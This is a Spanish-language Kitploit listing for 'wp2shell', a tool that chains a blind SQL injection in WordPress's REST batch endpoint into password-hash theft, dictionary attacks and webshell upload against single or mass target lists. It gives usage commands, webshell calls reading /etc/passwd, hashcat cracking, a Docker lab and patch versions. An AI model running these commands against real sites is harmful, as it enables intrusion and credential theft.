Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/0xwhoknows/wp2shell
Ataques de ContraseñasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónRed Teaming
GitHub0xwhoknows/wp2shell

wp2shell

Ver Repositorio
1115hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Cadena de exploits automatizada para CVE-2026-63030 / CVE-2026-60137 — SQLi ciega no autenticada mediante confusión de ruta de lotes de REST de WordPress. Extrae hashes de usuarios, descifra credenciales, despliega webshell. Admite objetivos únicos y listas de sitios masivos. Solo para pruebas de seguridad autorizadas.

Compartir

wp2shell

Inyección SQL ciega por confusión de ruta batch en REST de WordPress — cadena de explotación automatizada.

CVE-2026-63030 / CVE-2026-60137

AfectadoWordPress 6.9.0 – 6.9.4 y 7.0.0 – 7.0.1
CorregidoWordPress 6.9.5 / 7.0.2
SumideroSQL author__not_in vía parámetro author_exclude desincronizado
Autenticación requeridaNinguna (SQLi sin autenticar)

Solo para pruebas de seguridad autorizadas.


Cómo funciona

El endpoint batch de la API REST de WordPress (/wp-json/batch/v1) permite peticiones batch anidadas. Un payload de desincronización doblemente anidado desplaza los arrays internos $matches / $validation, enrutando un valor author_exclude manipulado hacia el SQL author__not_in sin saneamiento. Esto proporciona inyección SQL ciega booleana y por tiempo sin autenticación.

Cadena de explotación — 4 fases:

root@kitploit:~
Fase 1  Verificación de vulnerabilidad    sonda de marcador batch + SQL temporal opcional
Fase 2  Cosecha de hashes                 SQLi ciega extrae wp_users (login + hash)
Fase 3  Autenticación                     ataque de diccionario vía wp-login.php
Fase 4  Despliegue de webshell            subida de plugin ZIP -> verificación de RCE

Requisitos

  • Python 3.8+
  • aiohttp
  • colorama
root@kitploit:~
pip install aiohttp colorama

Uso

Objetivo único

root@kitploit:~
python wp2shell.py http://target.com

Lista de sitios (una URL por línea)

root@kitploit:~
python wp2shell.py sites.txt

Lista de sitios + archivo de contraseñas personalizado

root@kitploit:~
python wp2shell.py sites.txt -p pass.txt

Credenciales conocidas (omitir diccionario)

root@kitploit:~
python wp2shell.py http://target.com --user admin --password admin123

Confirmar SQLi con temporización

root@kitploit:~
python wp2shell.py http://target.com --confirm-sqli

Sin enlaces permanentes bonitos

root@kitploit:~
python wp2shell.py http://target.com --rest-route

A través del proxy de Burp

root@kitploit:~
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080

Opciones


Archivos de salida

ArchivoContenido
creds.txthttp://target=>user:pass (texto plano si se descifró, hash si no)
webshell.txtURL de webshell activa
VULNERABLE.txtTodos los objetivos donde la fase 1 confirmó la vulnerabilidad

Todos los archivos agregan contenido: los resultados se acumulan entre ejecuciones.

Uso de la webshell — añade ?cmd=COMANDO a la URL en webshell.txt:

root@kitploit:~
# navegador
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id

# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"

Descifrado fuera de línea

Si el diccionario no acierta, creds.txt contiene el hash extraído:

root@kitploit:~
hashcat -m 400 creds.txt wordlist.txt

Luego vuelve a ejecutar con la contraseña descifrada:

root@kitploit:~
python wp2shell.py http://target.com --user admin --password <texto_plano>

Laboratorio local (Docker)

Levanta una instancia vulnerable de WordPress 7.0.1 para pruebas locales seguras.

Primera ejecución — construir volúmenes e instalar WordPress:

root@kitploit:~
docker compose up -d db wordpress
docker compose run --rm wpcli

Inicios posteriores:

root@kitploit:~
docker compose up -d db wordpress

Detener:

root@kitploit:~
docker compose down

Reinicio completo (borra todos los datos):

root@kitploit:~
docker compose down -v

Ejecutar el exploit contra el laboratorio:

root@kitploit:~
python wp2shell.py http://localhost:8080

Parcheo

Actualiza a WordPress 6.9.5 o 7.0.2. La corrección valida la ruta batch antes de despachar peticiones anidadas, evitando la desincronización que expone el sumidero SQL.


Legal

Para uso en sistemas que poseas o para los que tengas autorización explícita por escrito para realizar pruebas. El uso no autorizado es ilegal.

Descargar herramienta
FlagPor defectoDescripción
target—URL (http://target) o ruta a un archivo de lista de sitios
-p FILE—Archivo de lista de contraseñas (una por línea)
--user—Omitir diccionario, usar este nombre de usuario
--password—Omitir diccionario, usar esta contraseña
--confirm-sqlidesactivadoEnviar sonda SQL activa de temporización después de la verificación del marcador
--rest-routedesactivadoUsar /?rest_route=/batch/v1 (sin enlaces permanentes bonitos)
--sleep N3.0Retardo SLEEP() de SQL en segundos
--samples N3Pares de muestras de temporización para el cálculo de la mediana
--timeout N30.0Tiempo de espera de la solicitud HTTP
--prefix PREFIXwp_Prefijo de tabla de base de datos
--proxy URL—Proxy HTTP/HTTPS
URLhttp://localhost:8080
Administradoradmin / admin123
Host MySQLdb
Usuario/contraseña MySQLwpuser / wppass
Base de datoswordpress